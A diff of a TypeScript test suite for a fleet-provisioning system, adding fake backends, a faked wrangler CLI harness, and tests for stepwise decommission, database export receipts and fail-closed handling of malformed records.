+  async completeCleanup(input: {
+    receipt: CleanupTerminalReceipt;
+    expectedRevision: number;
+  }): Promise<CleanupTerminalReceipt> {
+    const current = this.record;
+    if (
+      current?.phase !== 'cleanup-advancing' ||
+      current.cleanupIntent?.operationId !== input.receipt.operationId ||
+      current.cleanupIntent.revision !== input.expectedRevision
+    ) {
+      const existing = this.receipts.get(input.receipt.operationId);
+      if (existing) return existing;
+      throw new Error(
+        `cleanup receipt conflict for operation '${input.receipt.operationId}'`,
+      );
+    }
+    const persisted = { ...input.receipt, completedAtMs: this.completedAtMs };
+    this.completedAtMs += 1;
+    this.receipts.set(persisted.operationId, persisted);
+    this.record = undefined;
+    return persisted;
+  }
+
+  async readCleanupReceipt(
+    operationId: string,
+  ): Promise<CleanupTerminalReceipt | undefined> {
+    return this.receipts.get(operationId);
+  }
+
   async get(): Promise<FleetRecord | undefined> {
     return this.record;
   }
 
   async put(record: FleetRecord): Promise<void> {
-    if (this.failPutPhase === record.phase) {
+    if (record.decommissionIntent) {
+      const { decommissionIntent, ...source } = record;
+      record = {
+        ...source,
+        decommissionIntent: normalizeDecommissionAdvanceIntent(
+          decommissionIntent,
+          source,
+        ),
+      };
+    }
+    const lifecyclePhase = record.decommissionIntent
+      ? effectiveLifecyclePhase(record)
+      : record.phase;
+    if (
+      this.failPutPhase === record.phase ||
+      this.failPutPhase === lifecyclePhase
+    ) {
+      const failedPhase = this.failPutPhase;
       this.failPutPhase = undefined;
-      throw new Error(`failed state write at ${record.phase}`);
+      throw new Error(`failed state write at ${failedPhase}`);
+    }
+    const applicationFailure = this.failPutApplicationState;
+    if (
+      applicationFailure &&
+      record.applicationResources?.some(
+        (resource) =>
+          resource.name === applicationFailure.name &&
+          resource.state === applicationFailure.state,
+      )
+    ) {
+      this.failPutApplicationState = undefined;
+      throw new Error(
+        `failed state write at ${applicationFailure.name}:${applicationFailure.state}`,
+      );
     }
     this.record = record;
     this.phases.push(record.phase);
   }
 
   async delete(): Promise<void> {
+    this.deleteCalls += 1;
     this.record = undefined;
   }
 
@@ -165,10 +322,17 @@ class CommitThenThrowStore extends MemoryStore {
         state,
       })),
     );
-    if (this.failAfterCommittedPhase === record.phase) {
+    const lifecyclePhase = record.decommissionIntent
+      ? effectiveLifecyclePhase(record)
+      : record.phase;
+    if (
+      this.failAfterCommittedPhase === record.phase ||
+      this.failAfterCommittedPhase === lifecyclePhase
+    ) {
+      const failedPhase = this.failAfterCommittedPhase;
       this.failAfterCommittedPhase = undefined;
       throw new Error(
-        `state write response was lost after committing ${record.phase}`,
+        `state write response was lost after committing ${failedPhase}`,
       );
     }
     const failure = this.failAfterCommittedApplicationState;
@@ -200,6 +364,7 @@ const maintenance: MaintenanceHealth = {
 class FakeBackend implements ProvisioningBackend {
   readonly kind: ProvisioningBackendKind;
   readonly immutableExternalArtifacts?: true;
+  readonly databaseExportReceiptAuthority = RECEIPT_AUTHORITY;
   readonly events: string[] = [];
   failAt: string | undefined;
   cleanupFailAt: string | undefined;
@@ -208,9 +373,9 @@ class FakeBackend implements ProvisioningBackend {
   activeRoute: ActiveRouteAttestation | undefined;
   exportLocation = 'r2://fleet-exports/acme.sql';
   databaseExists = false;
-  databaseId = 'database-id';
+  databaseId = DATABASE_ID;
   databaseName = 'acme-production';
-  databaseOwner: string | undefined;
+  databaseOwner: unknown;
   /** Every fence state provisioning asked for, in call order. */
   readonly seededFenceStates: InitialExecutionFenceState[] = [];
   readonly databaseIdsRead: string[] = [];
@@ -230,6 +395,16 @@ class FakeBackend implements ProvisioningBackend {
   forceFailOnceAt: ForceDecommissionStep | undefined;
   forceStepGate: Promise<void> | undefined;
   forceStepStarted: (() => void) | undefined;
+  readonly scanInputs: DecommissionAttachmentScanInput[] = [];
+  readonly scanResults: DecommissionAttachmentScanResult[] = [];
+  scanAfter: (() => void) | undefined;
+  readonly databaseReadOutcomes: BoxedOutcome<unknown>[] = [];
+  readonly deleteOutcomes: BoxedOutcome<void>[] = [];
+  readonly receiptOutcomes: BoxedOutcome<unknown>[] = [];
+  readonly receiptCalls: DatabaseExportReceiptIdentity[] = [];
+  readonly receiptWinners = new Map<string, DatabaseExport>();
+  scanFailure: unknown;
+  residualCalls = 0;
 
   constructor(kind: ProvisioningBackendKind = 'workers-for-platforms') {
     this.kind = kind;
@@ -252,6 +427,11 @@ class FakeBackend implements ProvisioningBackend {
     databaseId: string,
   ): Promise<DatabaseReference | undefined> {
     this.databaseIdsRead.push(databaseId);
+    const outcome = this.databaseReadOutcomes.shift();
+    if (outcome?.status === 'rejected') throw outcome.reason;
+    if (outcome?.status === 'fulfilled') {
+      return outcome.value as DatabaseReference | undefined;
+    }
     return this.databaseExists && databaseId === this.databaseId
       ? {
           id: this.databaseId,
@@ -283,7 +463,7 @@ class FakeBackend implements ProvisioningBackend {
     }
     this.databaseExists = true;
     this.#event('database');
-    return { id: 'database-id', name: 'acme-production', created: true };
+    return { id: DATABASE_ID, name: 'acme-production', created: true };
   }
 
   // The fence state is DECLARED here, not dropped: a fake that omits the
@@ -302,13 +482,30 @@ class FakeBackend implements ProvisioningBackend {
   }
 
   async readDeploymentIdentity(): Promise<string | undefined> {
-    return this.databaseOwner;
+    return this.databaseOwner as string | undefined;
   }
 
   async applyMigrations(): Promise<void> {
     this.#event('migrations');
   }
 
+  async advanceDecommissionAttachmentScan(
+    input: DecommissionAttachmentScanInput,
+  ): Promise<DecommissionAttachmentScanResult> {
+    this.scanInputs.push(input);
+    if (this.scanFailure !== undefined) throw this.scanFailure;
+    const result = this.scanResults.shift() ?? {
+      status: 'complete',
+      evidenceSha256: 'a'.repeat(64),
+      evidenceCount: 2,
+      providerFetchAttemptsReserved: 3,
+    };
+    const after = this.scanAfter;
+    this.scanAfter = undefined;
+    after?.();
+    return result;
+  }
+
   describeExternalPlatformTarget(deployment: DeploymentSpec) {
     return {
       ...(deployment.queueProducer
@@ -411,7 +608,7 @@ class FakeBackend implements ProvisioningBackend {
         deployment.authoredBy === 'external'
           ? externalReleaseScriptName(deployment)
           : deployment.scriptName,
-      databaseId: 'database-id',
+      databaseId: DATABASE_ID,
       durableObjectBindings:
         externalTopology?.durableObjectBindings ??
         deployment.durableObjectBindings.map((binding) => ({
@@ -563,6 +760,10 @@ class FakeBackend implements ProvisioningBackend {
 
   async assertDatabaseDetached(): Promise<void> {}
 
+  async assertDatabaseDeletionResidualsRemoved(): Promise<void> {
+    this.residualCalls += 1;
+  }
+
   async exportDatabase(): Promise<{
     databaseId: string;
     location: string;
@@ -571,15 +772,47 @@ class FakeBackend implements ProvisioningBackend {
   }> {
     this.#event('export');
     return {
-      databaseId: 'database-id',
+      databaseId: DATABASE_ID,
       location: this.exportLocation,
       sha256: 'a'.repeat(64),
       size: 42,
     };
   }
 
+  async exportDatabaseReceipt(
+    identity: DatabaseExportReceiptIdentity,
+  ): Promise<DatabaseExport> {
+    this.#event('export');
+    this.receiptCalls.push(structuredClone(identity));
+    const key = JSON.stringify(identity);
+    const canonical: DatabaseExport = {
+      databaseId: identity.databaseId,
+      location: `${this.exportLocation}/${identity.operationId}`,
+      sha256: 'a'.repeat(64),
+      size: 42,
+    };
+    const outcome = this.receiptOutcomes.shift();
+    if (outcome?.status === 'rejected') {
+      if (outcome.commit === true) this.receiptWinners.set(key, canonical);
+      throw outcome.reason;
+    }
+    if (outcome?.status === 'fulfilled') {
+      return outcome.value as DatabaseExport;
+    }
+    const winner = this.receiptWinners.get(key);
+    if (winner) return structuredClone(winner);
+    this.receiptWinners.set(key, canonical);
+    return structuredClone(canonical);
+  }
+
   async deleteDatabase(): Promise<void> {
     this.#event('delete-database');
+    const outcome = this.deleteOutcomes.shift();
+    if (outcome) {
+      if (outcome.commit === true) this.databaseExists = false;
+      if (outcome.status === 'rejected') throw outcome.reason;
+      return;
+    }
     this.databaseExists = false;
   }
 
@@ -604,6 +837,11 @@ class R2RollbackBackend extends FakeBackend {
   nonempty = false;
   emptyChecks = 0;
   writeAfterTrafficRemovalOnce = false;
+  r2FindCalls = 0;
+  readonly r2FindNames: string[] = [];
+  deleteCalls = 0;
+  deleteFailureBeforeCommit: unknown;
+  deleteFailureAfterCommit: unknown;
 
   override async removeTraffic(): Promise<void> {
     await super.removeTraffic();
@@ -616,6 +854,8 @@ class R2RollbackBackend extends FakeBackend {
   async findApplicationR2Bucket(
     resource: ApplicationR2Resource,
   ): Promise<ApplicationR2BucketSnapshot | undefined> {
+    this.r2FindCalls += 1;
+    this.r2FindNames.push(resource.name);
     return this.buckets.get(resource.bucketName);
   }
 
@@ -678,8 +918,530 @@ class R2RollbackBackend extends FakeBackend {
   async deleteApplicationR2Bucket(
     resource: ApplicationR2Resource,
   ): Promise<void> {
+    this.deleteCalls += 1;
+    if (this.deleteFailureBeforeCommit !== undefined) {
+      throw this.deleteFailureBeforeCommit;
+    }
     this.buckets.delete(resource.bucketName);
+    if (this.deleteFailureAfterCommit !== undefined) {
+      throw this.deleteFailureAfterCommit;
+    }
+  }
+}
+
+async function wranglerLoopHarness(deployment: DeploymentSpec) {
+  const digest = deploymentSpecDigest(deployment);
+  const state = {
+    databaseExists: false,
+    workerExists: false,
+    deploymentExists: false,
+    preexistingVersion: false,
+    candidateVersion: false,
+    publicAccessEnabled: false,
+    sentinelExists: false,
+    databaseOwner: undefined as string | undefined,
+    appliedMigrations: 0,
+  };
+  const runnerCalls: string[][] = [];
+  const runner: CommandRunner = {
+    maxDurationMs: 5 * 60_000,
+    async run(arguments_: readonly string[]): Promise<CommandResult> {
+      runnerCalls.push([...arguments_]);
+      const command = arguments_.slice(0, 2).join(' ');
+      if (command === 'd1 list') {
+        return {
+          stdout: JSON.stringify(
+            state.databaseExists
+              ? [{ uuid: DATABASE_ID, name: deployment.databaseName }]
+              : [],
+          ),
+          stderr: '',
+        };
+      }
+      if (command === 'd1 create') {
+        state.databaseExists = true;
+        return { stdout: '', stderr: '' };
+      }
+      if (command === 'deployments status') {
+        if (!state.deploymentExists) throw new Error('deployment not found');
+        return {
+          stdout: JSON.stringify({
+            versions: [{ id: 'candidate', percentage: 100 }],
+          }),
+          stderr: '',
+        };
+      }
+      if (command === 'versions list') {
+        if (!state.workerExists) throw new Error('script not found');
+        return {
+          stdout: JSON.stringify([
+            ...(state.preexistingVersion
+              ? [
+                  {
+                    id: 'existing',
+                    annotations: { 'workers/tag': digest },
+                  },
+                ]
+              : []),
+            ...(state.candidateVersion
+              ? [
+                  {
+                    id: 'candidate',
+                    annotations: { 'workers/tag': digest },
+                  },
+                ]
+              : []),
+          ]),
+          stderr: '',
+        };
+      }
+      if (command === 'versions view') {
+        return {
+          stdout: JSON.stringify({
+            id: 'candidate',
+            annotations: { 'workers/tag': digest },
+            resources: {
+              bindings: [
+                { type: 'd1', name: 'DB', id: DATABASE_ID },
+                {
+                  type: 'durable_object_namespace',
+                  name: 'MAINTENANCE',
+                  class_name: 'Maintenance',
+                  namespace_id: 'namespace-maintenance',
+                },
+                {
+                  type: 'plain_text',
+                  name: 'DEPLOYMENT_TENANT',
+                  text: deployment.tenantTag,
+                },
+                {
+                  type: 'plain_text',
+                  name: 'FLEET_ENVIRONMENT',
+                  text: deployment.environment,
+                },
+                {
+                  type: 'plain_text',
+                  name: 'FLEET_SCHEMA_VERSION',
+                  text: String(deployment.schemaVersion),
+                },
+                {
+                  type: 'plain_text',
+                  name: 'FLEET_SPEC_DIGEST',
+                  text: digest,
+                },
+                {
+                  type: 'plain_text',
+                  name: 'FLEET_INGRESS_CONTRACT',
+                  text: 'guarded-object-v1',
+                },
+              ],
+            },
+          }),
+          stderr: '',
+        };
+      }
+      if (arguments_[0] === 'deploy') {
+        state.workerExists = true;
+        state.deploymentExists = true;
+        state.candidateVersion = true;
+        state.publicAccessEnabled = true;
+        return { stdout: '', stderr: '' };
+      }
+      if (arguments_[0] === 'delete') {
+        state.workerExists = false;
+        state.deploymentExists = false;
+        state.preexistingVersion = false;
+        state.candidateVersion = false;
+        state.publicAccessEnabled = false;
+        return { stdout: '', stderr: '' };
+      }
+      throw new Error(`unexpected command ${arguments_.join(' ')}`);
+    },
+  };
+  const fenceState = new D1State();
+  const plainRouteApi: PlainWorkerRouteApi = routeApi({
+    async queryDatabase(_databaseId, sql, bindings = []) {
+      if (
+        /^(?:CREATE TABLE IF NOT EXISTS|INSERT OR IGNORE INTO|ALTER TABLE) flowsafe_execution_fence\b/.test(
+          sql,
+        ) ||
+        sql.startsWith('SELECT * FROM flowsafe_execution_fence') ||
+        sql === 'PRAGMA table_xinfo(flowsafe_execution_fence)'
+      ) {
+        const parameters = bindings.map((value) => {
+          if (typeof value !== 'string')
+            throw new Error('fence parameters must be strings');
+          return value;
+        });
+        return fenceState.queryDatabase(sql, parameters);
+      }
+      if (
+        sql.includes("FROM sqlite_schema WHERE type = 'table' ORDER BY name")
+      ) {
+        return [
+          ...fenceState.queryDatabase(sql),
+          ...(state.sentinelExists
+            ? [
+                {
+                  name: 'flowsafe_deployment',
+                  sql: 'CREATE TABLE IF NOT EXISTS flowsafe_deployment (id INTEGER PRIMARY KEY CHECK (id = 1), tenant_tag TEXT NOT NULL, provisioned_at TEXT NOT NULL)',
+                },
+              ]
+            : []),
+        ];
+      }
+      if (
+        sql.includes("FROM sqlite_schema WHERE type = 'table' AND name = ?")
+      ) {
+        return state.sentinelExists
+          ? [
+              {
+                sql: 'CREATE TABLE IF NOT EXISTS flowsafe_deployment (id INTEGER PRIMARY KEY CHECK (id = 1), tenant_tag TEXT NOT NULL, provisioned_at TEXT NOT NULL)',
+              },
+            ]
+          : [];
+      }
+      if (sql.startsWith('PRAGMA table_info(flowsafe_deployment)')) {
+        return [
+          { name: 'id', type: 'INTEGER', notnull: 0, pk: 1 },
+          { name: 'tenant_tag', type: 'TEXT', notnull: 1, pk: 0 },
+          { name: 'provisioned_at', type: 'TEXT', notnull: 1, pk: 0 },
+        ];
+      }
+      if (sql.includes('SELECT id, tenant_tag FROM flowsafe_deployment')) {
+        return state.databaseOwner
+          ? [{ id: 1, tenant_tag: state.databaseOwner }]
+          : [];
+      }
+      if (sql.startsWith('CREATE TABLE IF NOT EXISTS flowsafe_deployment')) {
+        state.sentinelExists = true;
+        return [];
+      }
+      if (sql.startsWith('INSERT OR IGNORE INTO flowsafe_deployment')) {
+        state.databaseOwner = bindings[0];
+        return [];
+      }
+      if (sql.includes('SELECT version, sql_sha256')) {
+        return deployment.migrations
+          .slice(0, state.appliedMigrations)
+          .map((migration) => ({
+            version: migration.version,
+            sql_sha256: createHash('sha256')
+              .update(migration.sql)
+              .digest('hex'),
+          }));
+      }
+      return [];
+    },
+    async batchDatabase() {
+      state.appliedMigrations += 1;
+    },
+    async getDatabase(databaseId) {
+      return state.databaseExists && databaseId === DATABASE_ID
+        ? {
+            id: DATABASE_ID,
+            name: deployment.databaseName,
+            created: false,
+          }
+        : undefined;
+    },
+    async deleteDatabase(databaseId) {
+      if (databaseId === DATABASE_ID) state.databaseExists = false;
+    },
+    async inspectOrdinaryWorkerFootprint() {
+      return {
+        scriptPresent: state.workerExists,
+        workersDevEnabled: state.publicAccessEnabled,
+        previewUrlsEnabled: false,
+        customDomains: [],
+        zoneRoutes: [],
+      };
+    },
+    async disableOrdinaryWorkerPublicAccess() {
+      state.publicAccessEnabled = false;
+    },
+    async listDurableObjectNamespaces() {
+      return state.workerExists ? ['namespace-maintenance'] : [];
+    },
+  });
+
+  const exportDirectory = await mkdtemp(join(tmpdir(), 'provision-export-'));
+  exportDirectories.add(exportDirectory);
+  const backend = new WranglerLoopBackend({
+    runner,
+    routeApi: plainRouteApi,
+    exportDirectory,
+    exportStore: memoryStore(),
+  });
+  const store = new MemoryStore();
+
+  return { backend, store, runnerCalls, state };
+}
+
+const DECOMMISSION_OPERATION_ID = '12345678-1234-4abc-8def-1234567890ab';
+
+interface BoundedDecommissionHarness {
+  readonly backend: R2RollbackBackend;
+  readonly store: MemoryStore;
+  readonly deployment: DeploymentSpec;
+  readonly clock: () => number;
+  readonly randomUUID: () => string;
+}
+
+function sqliteFleetStore() {
+  const { DatabaseSync } = process.getBuiltinModule(
+    'node:sqlite',
+  ) as typeof import('node:sqlite');
+  const sqlite = new DatabaseSync(':memory:');
+  const query = (sql: string, bindings: readonly unknown[] = []) =>
+    sqlite.prepare(sql).all(
+      ...bindings.map((value) => {
+        if (
+          value === null ||
+          typeof value === 'string' ||
+          typeof value === 'number'
+        )
+          return value;
+        throw new Error('unexpected fixture SQL binding');
+      }),
+    );
+  const db: FleetStateDatabase = {
+    query: async (sql, bindings) => query(sql, bindings),
+    execute: async (sql, bindings) => {
+      query(sql, bindings);
+    },
+    async batch(statements) {
+      sqlite.exec('BEGIN');
+      try {
+        const results = statements.map(({ sql, bindings }) =>
+          query(sql, bindings),
+        );
+        sqlite.exec('COMMIT');
+        return results;
+      } catch (error) {
+        sqlite.exec('ROLLBACK');
+        throw error;
+      }
+    },
+  };
+  return {
+    store: new D1FleetStateStore(db, { accountId: 'compatibility' }),
+    query,
+    close: () => sqlite.close(),
+  };
+}
+
+async function boundedDecommissionHarness(
+  options: {
+    readonly kind?: ProvisioningBackendKind;
+    readonly r2Names?: readonly string[];
+    readonly store?: MemoryStore;
+    readonly external?: boolean;
+  } = {},
+): Promise<BoundedDecommissionHarness> {
+  const backend = new R2RollbackBackend(options.kind ?? 'plain-worker');
+  const store = options.store ?? new MemoryStore();
+  const deployment = spec({
+    ...(options.external
+      ? {
+          authoredBy: 'external' as const,
+          durableObjectMigrations: [],
+          egressProxyService: undefined,
+        }
+      : {}),
+    application: {
+      vars: [],
+      secrets: [],
+      r2Buckets: (options.r2Names ?? []).map((name) => ({ name })),
+    },
+  });
+  await provisionDeployment({
+    initialExecutionFenceState: 'open',
+    backend,
+    store,
+    spec: deployment,
+    secrets,
+  });
+  backend.events.length = 0;
+  let tick = Date.parse('2026-08-30T00:00:00.000Z');
+  return {
+    backend,
+    store,
+    deployment,
+    clock: () => {
+      tick += 1_000;
+      return tick;
+    },
+    randomUUID: () => DECOMMISSION_OPERATION_ID,
+  };
+}
+
+// A backend-switch record over a terminal row, carrying the export the row
+// records and no retained application resource. Only `subphase` varies, so a
+// refusal a test observes is the subphase's and nothing else's.
+function terminalBackendSwitchIntent(
+  terminal: FleetRecord,
+  backend: FakeBackend,
+  deployment: DeploymentSpec,
+  subphase: BackendSwitchSubphase,
+): BackendSwitchIntent {
+  return {
+    kind: 'backend-switch',
+    tenantTag: terminal.tenantTag,
+    environment: terminal.environment,
+    prior: {
+      scriptName: terminal.scriptName,
+      artifactVersion: terminal.artifactVersion,
+      specDigest: terminal.desiredSpecDigest,
+      databaseId: terminal.databaseId,
+      databaseName: terminal.databaseName,
+      durableObjectBindings: [],
+      namespaceIds: [],
+      secretNames: ['DEPLOYMENT_IDENTITY_SECRET'],
+      applicationResources: [],
+      customDomain: { id: 'domain-acme', hostname: terminal.routeHostname },
+    },
+    targetSpecDigest: terminal.desiredSpecDigest,
+    targetApplication: terminal.applicationBindings ?? {
+      vars: [],
+      secrets: [],
+      r2Buckets: [],
+    },
+    target: backend.describeExternalPlatformTarget(deployment),
+    rollbackUntil: '2026-09-30T00:00:00.000Z',
+    subphase,
+    databaseExport: {
+      databaseId: terminal.databaseId,
+      location: terminal.databaseExportLocation as string,
+      sha256: terminal.databaseExportSha256 as string,
+      size: terminal.databaseExportSize as number,
+    },
+    applicationR2Progress: [],
+  };
+}
+
+function boundedAdvanceOptions(
+  harness: BoundedDecommissionHarness,
+  action: AdvanceDecommissionDeploymentOptions['action'],
+  overrides: Partial<AdvanceDecommissionDeploymentOptions> = {},
+): AdvanceDecommissionDeploymentOptions {
+  return {
+    backend: harness.backend,
+    store: harness.store,
+    spec: harness.deployment,
+    action,
+    maxProviderRequests: 12,
+    clock: harness.clock,
+    randomUUID: harness.randomUUID,
+    ...overrides,
+  };
+}
+
+async function startBoundedDecommission(
+  harness: BoundedDecommissionHarness,
+): Promise<DecommissionAdvanceResult> {
+  return advanceDecommissionDeployment(
+    boundedAdvanceOptions(harness, { kind: 'start' }),
+  );
+}
+
+async function continueBoundedDecommission(
+  harness: BoundedDecommissionHarness,
+  result: DecommissionAdvanceResult,
+): Promise<DecommissionAdvanceResult> {
+  return advanceDecommissionDeployment(
+    boundedAdvanceOptions(harness, {
+      kind: 'continue',
+      token: result.token,
+    }),
+  );
+}
+
+async function driveBoundedUntil(
+  harness: BoundedDecommissionHarness,
+  predicate: (record: FleetRecord) => boolean,
+): Promise<DecommissionAdvanceResult> {
+  let result = await startBoundedDecommission(harness);
+  for (let step = 0; step < 64; step += 1) {
+    const record = harness.store.record;
+    if (record && predicate(record)) return result;
+    result = await continueBoundedDecommission(harness, result);
   }
+  throw new Error('bounded decommission did not reach the requested state');
+}
+
+async function driveToPreExportVerify(
+  harness: BoundedDecommissionHarness,
+): Promise<DecommissionAdvanceResult> {
+  let result = await driveBoundedUntil(
+    harness,
+    (record) =>
+      record.decommissionIntent?.lifecyclePhase ===
+        'application-resources-deleted' &&
+      record.decommissionIntent.state === 'transitioning',
+  );
+  result = await continueBoundedDecommission(harness, result);
+  expect(harness.store.record?.decommissionIntent).toMatchObject({
+    lifecyclePhase: 'application-resources-deleted',
+    state: 'discover',
+    purpose: { kind: 'database-pre-export', databaseId: DATABASE_ID },
+    databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+  });
+  result = await continueBoundedDecommission(harness, result);
+  expect(harness.store.record?.decommissionIntent).toMatchObject({
+    lifecyclePhase: 'application-resources-deleted',
+    state: 'verify',
+  });
+  return result;
+}
+
+async function driveToPreDeleteVerify(
+  harness: BoundedDecommissionHarness,
+): Promise<DecommissionAdvanceResult> {
+  let result = await driveToPreExportVerify(harness);
+  result = await continueBoundedDecommission(harness, result);
+  expect(harness.store.record?.decommissionIntent).toMatchObject({
+    lifecyclePhase: 'database-exported',
+    state: 'transitioning',
+  });
+  result = await continueBoundedDecommission(harness, result);
+  expect(harness.store.record?.decommissionIntent).toMatchObject({
+    lifecyclePhase: 'database-exported',
+    state: 'discover',
+    purpose: { kind: 'database-pre-delete', databaseId: DATABASE_ID },
+  });
+  result = await continueBoundedDecommission(harness, result);
+  expect(harness.store.record?.decommissionIntent).toMatchObject({
+    lifecyclePhase: 'database-exported',
+    state: 'verify',
+  });
+  return result;
+}
+
+function legacyOnlyBackend(backend: FakeBackend): ProvisioningBackend {
+  return new Proxy({} as ProvisioningBackend, {
+    has(_target, property) {
+      if (
+        property === 'advanceDecommissionAttachmentScan' ||
+        property === 'databaseExportReceiptAuthority' ||
+        property === 'exportDatabaseReceipt'
+      ) {
+        return false;
+      }
+      return Reflect.has(backend, property);
+    },
+    get(_target, property) {
+      if (
+        property === 'advanceDecommissionAttachmentScan' ||
+        property === 'databaseExportReceiptAuthority' ||
+        property === 'exportDatabaseReceipt'
+      ) {
+        return undefined;
+      }
+      const value = Reflect.get(backend, property, backend);
+      return typeof value === 'function' ? value.bind(backend) : value;
+    },
+  });
 }
 
 describe('fleet provisioning', () => {
@@ -689,7 +1451,7 @@ describe('fleet provisioning', () => {
     const record = {
       tenantTag: deployment.tenantTag,
       environment: deployment.environment,
-      databaseId: 'database-id',
+      databaseId: DATABASE_ID,
       applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
     } satisfies Pick<
       FleetRecord,
@@ -793,6 +1555,190 @@ describe('fleet provisioning', () => {
     expect(backend.events).toEqual([]);
   });
 
+  it('refuses non-advance root lifecycle mutations while decommission advances', async () => {
+    const deployment = spec();
+    const external = spec({
+      authoredBy: 'external',
+      durableObjectMigrations: [],
+      egressProxyService: undefined,
+    });
+    const digest = deploymentSpecDigest(deployment);
+    const operationId = '00000000-0000-4000-8000-000000000001';
+    const advancingRecord = (backend: FakeBackend) =>
+      decommissionAdvancingRecordFixture(
+        {
+          tenantTag: deployment.tenantTag,
+          environment: deployment.environment,
+          backend: backend.kind,
+          scriptName: deployment.scriptName,
+          databaseId: backend.databaseId,
+          databaseName: deployment.databaseName,
+          schemaVersion: deployment.schemaVersion,
+          artifactVersion: 'artifact-v3',
+          desiredSpecDigest: digest,
+          durableObjectBindings: [],
+          routeHostname: deployment.routeHostname,
+          phase: 'ready',
+          updatedAt: '2026-08-11T00:00:00.000Z',
+        },
+        'ready',
+        { operationId },
+      );
+    const cases: readonly Readonly<{
+      name: string;
+      run(input: {
+        backend: FakeBackend;
+        store: MemoryStore;
+        current: FleetRecord;
+      }): Promise<unknown>;
+    }>[] = [
+      {
+        name: 'provisionDeployment',
+        run: ({ backend, store }) =>
+          provisionDeployment({
+            initialExecutionFenceState: 'open',
+            backend,
+            store,
+            spec: deployment,
+            secrets,
+          }),
+      },
+      {
+        name: 'migrateFleet',
+        run: ({ backend, store, current }) =>
+          migrateFleet({
+            store,
+            records: [current],
+            canaryTenantTags: [],
+            backendFor: () => backend,
+            specFor: () => deployment,
+            secretsFor: () => secrets,
+          }),
+      },
+      {
+        name: 'rollbackExternalRelease',
+        run: ({ backend, store }) =>
+          rollbackExternalRelease({
+            store,
+            backend,
+            currentSpec: external,
+            rollbackSpec: external,
+            secrets,
+          }),
+      },
+      {
+        name: 'cleanupDeploymentArtifacts',
+        run: ({ backend, store }) =>
+          cleanupDeploymentArtifacts({ backend, store, spec: deployment }),
+      },
+      {
+        name: 'forceDecommissionDeployment',
+        run: ({ backend, store }) =>
+          forceDecommissionDeployment({
+            backend,
+            store,
+            tenantTag: deployment.tenantTag,
+            environment: deployment.environment,
+          }),
+      },
+    ];
+
+    for (const item of cases) {
+      const backend = new FakeBackend();
+      const store = new MemoryStore();
+      const current = advancingRecord(backend);
+      store.record = current;
+
+      await expect(
+        item.run({ backend, store, current }),
+        item.name,
+      ).rejects.toThrow(
+        `${item.name} cannot run during an active decommission`,
+      );
+      expect(backend.events, item.name).toEqual([]);
+      expect(backend.findDatabaseCalls, item.name).toBe(0);
+      expect(backend.databaseIdsRead, item.name).toEqual([]);
+    }
+
+    const completeStore = new MemoryStore();
+    const raceBackend = new FakeBackend();
+    const advancing = advancingRecord(raceBackend);
+    const activeIntent = advancing.decommissionIntent;
+    if (!activeIntent || activeIntent.state === 'complete') {
+      throw new Error('missing active decommission intent');
+    }
+    completeStore.record = {
+      ...advancing,
+      phase: 'decommissioned',
+      applicationResources: [],
+      databaseExportLocation: 'r2://exports/database.sqlite',
+      databaseExportSha256: 'f'.repeat(64),
+      databaseExportSize: 128,
+      decommissionIntent: {
+        ...activeIntent,
+        databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+        lifecyclePhase: 'decommissioned',
+        state: 'complete',
+      },
+    };
+    await expect(
+      forceDecommissionDeployment({
+        backend: raceBackend,
+        store: completeStore,
+        tenantTag: deployment.tenantTag,
+        environment: deployment.environment,
+      }),
+    ).resolves.toBeUndefined();
+    expect(completeStore.record).toBeUndefined();
+    expect(raceBackend.events).toEqual([]);
+  });
+
+  it('fails closed when a decommission record carries a cleanup intent', async () => {
+    const base = {
+      tenantTag: 'acme',
+      environment: 'production',
+      backend: 'plain-worker',
+      scriptName: 'acme-production',
+      databaseId: 'db-acme',
+      databaseName: 'acme-production',
+      schemaVersion: 1,
+      artifactVersion: 'artifact-v1',
+      desiredSpecDigest: 'a'.repeat(64),
+      durableObjectBindings: [],
+      applicationResources: [],
+      applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+      routeHostname: 'acme.example.test',
+      phase: 'ready',
+      updatedAt: '2026-08-29T00:00:00.000Z',
+    } as const satisfies FleetRecord;
+    const hostile = {
+      ...decommissionAdvancingRecordFixture(base, 'ready', {
+        operationId: '123e4567-e89b-42d3-a456-426614174000',
+        revision: 0,
+        generation: 0,
+        updatedAt: '2026-08-29T00:00:01.000Z',
+      }),
+      cleanupIntent: { version: 1 },
+    };
+    const store = {
+      get: async () => hostile,
+      list: async () => [hostile],
+      withDeploymentLease: async () => {
+        throw new Error('lease must not be acquired for a hostile record');
+      },
+    };
+    await expect(
+      decommissionDeployment({
+        backend: {} as never,
+        store: store as never,
+        spec: {
+          tenantTag: 'acme',
+          environment: 'production',
+        } as never,
+      }),
+    ).rejects.toThrow('backend switch decommission record is malformed');
+  });
+
   it('persists the ordered create phases and returns a ready deployment', async () => {
     const backend = new FakeBackend();
     const store = new MemoryStore();
@@ -823,7 +1769,7 @@ describe('fleet provisioning', () => {
     ]);
     expect(result.record).toMatchObject({
       phase: 'ready',
-      databaseId: 'database-id',
+      databaseId: DATABASE_ID,
       artifactVersion: 'artifact-v3',
     });
     expect(store.record).toEqual(result.record);
@@ -838,6 +1784,9 @@ describe('fleet provisioning', () => {
       'migrated',
       'application-resources-create-authorized',
       'application-resources-deployed',
+      // The invocation-authority flip commits on a dedicated put before the
+      // external candidate upload dispatches.
+      'application-resources-deployed',
       'worker-deployed',
       'maintenance-armed',
       'publishing',
@@ -877,7 +1826,9 @@ describe('fleet provisioning', () => {
     expect(String((failure as ProvisioningError).cause)).toMatch(
       /did not converge/,
     );
-    expect(store.record?.phase).toBe('publishing');
+    expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe(
+      'publishing',
+    );
 
     // #and once the route serves the deployed artifact, that is what commits
     backend.activeRoute = undefined;
@@ -1066,7 +2017,7 @@ describe('fleet provisioning', () => {
   });
 
   it('clears a database reservation only after the exact reserved name is positively absent', async () => {
-    const backend = new FakeBackend();
+    const backend = new FakeBackend('plain-worker');
     const store = new MemoryStore();
     const deployment = spec();
     const findDatabase = backend.findDatabase.bind(backend);
@@ -1091,10 +2042,13 @@ describe('fleet provisioning', () => {
     ).resolves.toBeUndefined();
     expect(backend.events).toEqual([]);
     expect(store.record).toBeUndefined();
+    expect([...store.receipts.values()]).toMatchObject([
+      { disposition: 'reservation-cleared', authority: 'manual-cleanup' },
+    ]);
   });
 
